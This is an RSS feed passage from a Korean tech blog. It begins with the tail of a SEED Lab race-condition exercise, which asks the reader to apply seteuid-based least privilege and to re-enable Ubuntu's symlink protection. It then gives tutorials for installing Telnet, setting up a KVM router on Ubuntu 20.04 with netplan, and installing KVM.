&lt;p style=&quot;text-align: justify;&quot;&gt;The fundamental problem of the vulnerable program in this lab is the violation of the Principle of Least Privilege. The programmer does understand that the user who runs the program might be too powerful, so he/she introduced access() to limit the user&amp;rsquo;s power. However, this is not the proper approach. A better approach is to apply the Principle of Least Privilege; namely, if users do not need certain privilege, the privilege&amp;nbsp;needs&amp;nbsp;to&amp;nbsp;be&amp;nbsp;disabled. &lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;We can use seteuid system call to temporarily disable the root privilege, and later enable it if necessary. Please use this approach to fix the vulnerability in the program, and then repeat your attack. Will you be able to succeed? Please report your observations and provide explanation.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Taks 4: Countermeasure: Using Ubuntu's Built-in Scheme&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;Ubuntu 10.10 and later come with a built-in protection scheme against race condition attacks. In this task, you&amp;nbsp;need&amp;nbsp;to&amp;nbsp;turn&amp;nbsp;the&amp;nbsp;protection&amp;nbsp;back&amp;nbsp;on&amp;nbsp;using&amp;nbsp;the&amp;nbsp;following&amp;nbsp;commands:&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1613652590918&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// On Ubuntu 12.04, use the following command:
$ sudo sysctl -w kernel.yama.protected_sticky_symlinks=1

// On Ubuntu 16.04, use the following command:
$ sudo sysctl -w fs.protected_symlinks=1&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Conduct your attack after the protection is turned on. Please describe your observations. Please also explain the followings: (1) How does this protection scheme work? (2) What are the limitations of this scheme?&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>SEEDLAB</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/262</guid>
      <comments>https://marcokhan.tistory.com/262#entry262comment</comments>
      <pubDate>Thu, 18 Feb 2021 21:50:55 +0900</pubDate>
    </item>
    <item>
      <title>[Ubuntu 20.04] How to install Telnet</title>
      <link>https://marcokhan.tistory.com/261</link>
      <description>&lt;p&gt;이번 장에서는 Ubuntu 20.04 환경에서 Telnet을 설치하는 방법에 대해 기술한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Telnet&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Telnet은 인터넷 or 로컬 네트워크를 이용해 원격 접속을 가능하게 하는 네트워크 프로토콜이다.&lt;/p&gt;
&lt;p&gt;TCP/IP 기반으로 구현되었으며, TCP 23 port를 사용한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Telnet 설치 방법&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Telnet을 설치하기 위해 아래의 명령어를 입력해야 한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;우선 Telnet을 사용하기 위한 package를 설치한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1612673231000&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ sudo apt-get install xinetd telnetd&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;pacakge 설정 후 telnet 연결을 위한 설정 파일을 생성해주어야 한다.&lt;/p&gt;
&lt;p&gt;경로는 &quot;/etc/xinted.d/&quot; 이다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1612673351617&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ sudo vi /etc/xinetd.d/telnet

service telnet
{
	disable = no
    flags = REUSE
    socket_type = stream
    wait = no
    user = root
    server = /usr/sbin/in.telnetd
    log_on_failure += USERID
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;telnet 설정파일 작업을 완료한 후 xinetd daemon을 재시작하고, 23/tcp 포트를 방화벽에서 open 해준다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1612673455485&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ sudo systemctl restart xinetd
$ sudo systemctl enable xinetd
$ sudo ufw allow 23/tcp&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;이제 host machine 에서 원격지 machine에 다음과 같은 명령어로 telnet 접속을 시도할 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1612673538174&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ telnet [IP address of destination server]&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>ETC...</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/261</guid>
      <comments>https://marcokhan.tistory.com/261#entry261comment</comments>
      <pubDate>Sun, 7 Feb 2021 13:52:31 +0900</pubDate>
    </item>
    <item>
      <title>[Ubuntu 20.04] Router setup using the KVM</title>
      <link>https://marcokhan.tistory.com/260</link>
      <description>&lt;p&gt;Ubuntu 20.04가 되면서 Network setting의 많은 부분이 변경되었다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;이번 블로그에서는 Ubuntu 20.04 환경에서 KVM을 이용해 router를 구축하는 방법에 대해 소개한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Network description&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;구성하려는 Network의 모식도는 다음과 같다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/B7ggv/btqVIbteNo5/jOtJIRKVIC0nNh0cgPeNX0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/B7ggv/btqVIbteNo5/jOtJIRKVIC0nNh0cgPeNX0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/B7ggv/btqVIbteNo5/jOtJIRKVIC0nNh0cgPeNX0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FB7ggv%2FbtqVIbteNo5%2FjOtJIRKVIC0nNh0cgPeNX0%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Network configuration&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Router를 사용하는 네트워크 구성은 총 3 단계로 구성된다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;단계 1: Host와 Router 사이의 Bridge 설정&lt;/b&gt;&lt;/h4&gt;
&lt;p&gt;이 과정은 router와 router에 연결된 VM1, VM2가 router를 통해 인터넷을 사용할 수 있도록 Host와 router를 bridge로 연결한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;KVM 환경에서 Host와 가상머신 사이의 bridge 설정은 아래 URL에 정리되어 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://marcokhan.tistory.com/244&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;marcokhan.tistory.com/244&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1612440468788&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-og-type=&quot;article&quot; data-og-title=&quot;[Ubuntu 18.04/20.04] Ubuntu Host, KVM network bridge setting&quot; data-og-description=&quot;네트워크 환경(Interface)를 확인하기 위해 아래의 명령을 실행한다. $ ifconfig 인터페이스 이름이 ens33 으로 설정된 것을 확인할 수 있다. 꼭 ens33이 아닐 수 있으니, ethernet과 flag의 를 확인하면 된다.&quot; data-og-host=&quot;marcokhan.tistory.com&quot; data-og-source-url=&quot;https://marcokhan.tistory.com/244&quot; data-og-url=&quot;https://marcokhan.tistory.com/244&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bUXviS/hyJahxdNra/6MinbSFybakUU5ebW3WI20/img.png?width=706&amp;amp;height=368&amp;amp;face=0_0_706_368,https://scrap.kakaocdn.net/dn/bMfUgf/hyJae8lYqw/VbyvNilsDY0J6hsdBSzcJ1/img.png?width=706&amp;amp;height=368&amp;amp;face=0_0_706_368,https://scrap.kakaocdn.net/dn/bCXblr/hyJamkY7jZ/CsBuu6T1mnhThDI1dAKIrK/img.png?width=1881&amp;amp;height=1073&amp;amp;face=0_0_1881_1073&quot;&gt;&lt;a href=&quot;https://marcokhan.tistory.com/244&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://marcokhan.tistory.com/244&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bUXviS/hyJahxdNra/6MinbSFybakUU5ebW3WI20/img.png?width=706&amp;amp;height=368&amp;amp;face=0_0_706_368,https://scrap.kakaocdn.net/dn/bMfUgf/hyJae8lYqw/VbyvNilsDY0J6hsdBSzcJ1/img.png?width=706&amp;amp;height=368&amp;amp;face=0_0_706_368,https://scrap.kakaocdn.net/dn/bCXblr/hyJamkY7jZ/CsBuu6T1mnhThDI1dAKIrK/img.png?width=1881&amp;amp;height=1073&amp;amp;face=0_0_1881_1073');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot;&gt;[Ubuntu 18.04/20.04] Ubuntu Host, KVM network bridge setting&lt;/p&gt;
&lt;p class=&quot;og-desc&quot;&gt;네트워크 환경(Interface)를 확인하기 위해 아래의 명령을 실행한다. $ ifconfig 인터페이스 이름이 ens33 으로 설정된 것을 확인할 수 있다. 꼭 ens33이 아닐 수 있으니, ethernet과 flag의 를 확인하면 된다.&lt;/p&gt;
&lt;p class=&quot;og-host&quot;&gt;marcokhan.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;단계 2: Router 설정&lt;/b&gt;&lt;/h4&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Network description에서 본 모식도처럼 Router는 3개의 NIC interface를 가지고 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;단계 1에서 bridge 설정을 하면 Br0 network interface가 생기고, default Virtual Network가 존재하기 때문에 한 개의 Virtual Network 만 추가 설정 해주면 된다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;아래 명령어로 Virtual Machine Manager를 띄운다.&lt;/p&gt;
&lt;pre id=&quot;code_1612442471778&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ sudo virt-manager&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;아래와 같은 화면을 볼 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;558&quot; data-origin-height=&quot;598&quot; data-filename=&quot;Screenshot from 2021-02-04 21-41-26.png&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LLLjh/btqVIKa6YeV/sy45nd6MkKxoK4vkhxWYrK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LLLjh/btqVIKa6YeV/sy45nd6MkKxoK4vkhxWYrK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LLLjh/btqVIKa6YeV/sy45nd6MkKxoK4vkhxWYrK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLLLjh%2FbtqVIKa6YeV%2Fsy45nd6MkKxoK4vkhxWYrK%2Fimg.png&quot; data-origin-width=&quot;558&quot; data-origin-height=&quot;598&quot; data-filename=&quot;Screenshot from 2021-02-04 21-41-26.png&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;상단 Edit -&amp;gt; Connection Details를 선택하면 아래와 같은 화면을 볼 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;Screenshot from 2021-02-04 21-41-34.png&quot; data-origin-width=&quot;805&quot; data-origin-height=&quot;646&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d1HiDi/btqVQVQbDlo/HlHCXLKjUvQTS92ugMWg9K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d1HiDi/btqVQVQbDlo/HlHCXLKjUvQTS92ugMWg9K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d1HiDi/btqVQVQbDlo/HlHCXLKjUvQTS92ugMWg9K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd1HiDi%2FbtqVQVQbDlo%2FHlHCXLKjUvQTS92ugMWg9K%2Fimg.png&quot; data-filename=&quot;Screenshot from 2021-02-04 21-41-34.png&quot; data-origin-width=&quot;805&quot; data-origin-height=&quot;646&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;왼쪽 하단의 + 버튼을 이용해 Virtual Network 추가를 할 수 있다.&lt;/p&gt;
&lt;p&gt;되도록이면 추천해주는 Network 대역을 사용하길 권장한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;이제 3개의 Virtual Network를 설정했으니 Router에서 두 개의 NIC interface를 추가하고 각각 다른 netowrk 대역을 할당한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;Screenshot from 2021-02-04 21-45-09.png&quot; data-origin-width=&quot;1094&quot; data-origin-height=&quot;929&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJriTR/btqVQWasUsR/g0zkqYerSOlqmcayX0g0I1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJriTR/btqVQWasUsR/g0zkqYerSOlqmcayX0g0I1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJriTR/btqVQWasUsR/g0zkqYerSOlqmcayX0g0I1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJriTR%2FbtqVQWasUsR%2Fg0zkqYerSOlqmcayX0g0I1%2Fimg.png&quot; data-filename=&quot;Screenshot from 2021-02-04 21-45-09.png&quot; data-origin-width=&quot;1094&quot; data-origin-height=&quot;929&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;자. 이제 Router VM을 실행시켜 IP 설정을 해주자.&lt;/p&gt;
&lt;p&gt;Router의 IP는 host number가 1이 된다. 즉, C class에서 192.168.100.1/24 등이 될 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Ubuntu 20.04에서는 아래와 같은 경로에서 IP 설정이 가능하다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1612442972983&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ sudo vi /etc/netplan/01-network-manager-all.yaml&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;아래와 같이 설정 파일을 작성하자.&lt;/p&gt;
&lt;p&gt;일반적으로 router는 gateway4가 필요없다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;closed network를 만들기 위해서 gateway4를 설정하면 되고,&lt;/p&gt;
&lt;p&gt;open network를 구성하기 위해서 gateway4를 삭제하면 된다.&lt;/p&gt;
&lt;pre id=&quot;code_1612443196984&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# Let NetworkManager manage all devices on this system
#network:
#  version: 2
#  renderer: NetworkManager

network:
  version: 2
  renderer: networkd
  ethernets:
    enp1s0:
      dhcp4: true
    enp6s0:
      dhcp4: false
      addresses: [192.168.122.1/24]
      nameservers:
       addresses: [8.8.8.8,8.8.4.4]
    enp7s0:
      dhcp4: false
      addresses: [192.168.100.1/24]
      nameservers:
       addresses: [8.8.8.8,8.8.4.4]

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;설정을 적용하기 위해서 아래의 명령어를 주어야한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1612443768477&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ sudo netplan apply&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;enp1s0는 network를 위한 NIC interface이고, enp6s0, enp7s0는 각각 VM1, VM2와 연결된 NIC interface이다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;모두 C class network를 사용하고, host number가 1이라는 것을 알아두자.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;추가적으로 router OS가 아닌 일반 OS는 default로 ip forward 기능이 disabled 되어 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;다음과 같이 설정하여 ubuntu 20.04의 ip forward 기능을 enable 시키자.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1612443887504&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;sudo vi /etc/sysctl.conf
net.ipv4.ip_forward=1

sudo sysctl net.ipv4.ip_forward
sudo sysctl -p
sudo sysctl net.ipv4.ip_forward&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;ipv4.ip_forward가 1로 설정된 것을 확인해야 forwarding 기능이 정상 작동한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;단계 3: VM 설정&lt;/b&gt;&lt;/h4&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;마지막으로 단계 3에서는 VM들의 NIC interface를 각각 enp6s0, enp7s0와 각각 같은 network에 존재할 수 있도록 설정하면 된다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;최종 Network configuraiton은 다음과 같다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cFVFEA/btqVRuSkdAs/RvKMBBcQkPlJQ13uqqqaG1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cFVFEA/btqVRuSkdAs/RvKMBBcQkPlJQ13uqqqaG1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cFVFEA/btqVRuSkdAs/RvKMBBcQkPlJQ13uqqqaG1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcFVFEA%2FbtqVRuSkdAs%2FRvKMBBcQkPlJQ13uqqqaG1%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>ETC...</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/260</guid>
      <comments>https://marcokhan.tistory.com/260#entry260comment</comments>
      <pubDate>Thu, 4 Feb 2021 22:01:11 +0900</pubDate>
    </item>
    <item>
      <title>[Ubuntu 20.04] How to install KVM(Kernel-based Virtual Machine)</title>
      <link>https://marcokhan.tistory.com/259</link>
      <description>&lt;p&gt;이번 장에서는 Ubuntu 20.04 환경에서 KVM(Kernel-based Virtual Machine)을 설치하는 방법에 대해 기술한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;우선 Intel의 경우 VT-x 기능을 AMD 경우 AMD-V 기능을 enable 해야한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;환경 확인&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;현재 사용하고 있는 processor가 virtualization을 supoprting 하는지 확인하기 위해서 아래와 같은 명령어를 사용한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1612066044339&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ grep -Eoc '(vmx|svm)' /proc/cpuinfo
32
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;0 이상의 숫자가 나오면 현재 virtualization 기능이 enabled 되어 있다는 뜻이다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;만일 0의 값이 출력되면 BIOS에서 virtualizaiton 기능을 enable 해야한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;혹은 cpu-checker 패키지의 &lt;b&gt;kvm-ok&lt;/b&gt; 명령어를 이용할 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1612066257968&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ sudo apt update
$ sudo apt install cpu-checker

$ kvm-ok
INFO: /dev/kvm exists
KVM acceleration can be used
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;output이 위와 같이 나온다면 정상적으로 virtualizaiton 기능을 이용할 수 있다&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Ubuntu 20.04에서 KVM 설치&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;KVM을 설치하기 위해서 아래와 같은 명령어를 사용한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1612066457814&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ sudo apt install qemu-kvm libvirt-daemon-system libvirt-clients bridge-utils virtinst virt-manager&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;qemu-kvm:&lt;/b&gt; KVM hypervisror를 위해 hardware emulation을 제공한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;libvirt-daemon-system:&lt;/b&gt; libvirt daemon을 system service로서 동작시키기 위한 파일&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;libvirt-clients:&lt;/b&gt; virtualization platform을 관리하기 위한 소프트웨어&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;bridge-utils:&lt;/b&gt; ethernet bridges를 구성하기 위한 command 모음&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;virtinst:&lt;/b&gt; virtual machien을 생성하기 위한 command 모음&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;virt-manager:&lt;/b&gt; virtual machine을 관리하기 위한 GUI interface와 command 모음&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;아래와 같은 명령어를 통해 KVM을 성공적으로 이용할 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1612066792513&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ sudo virt-manager&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
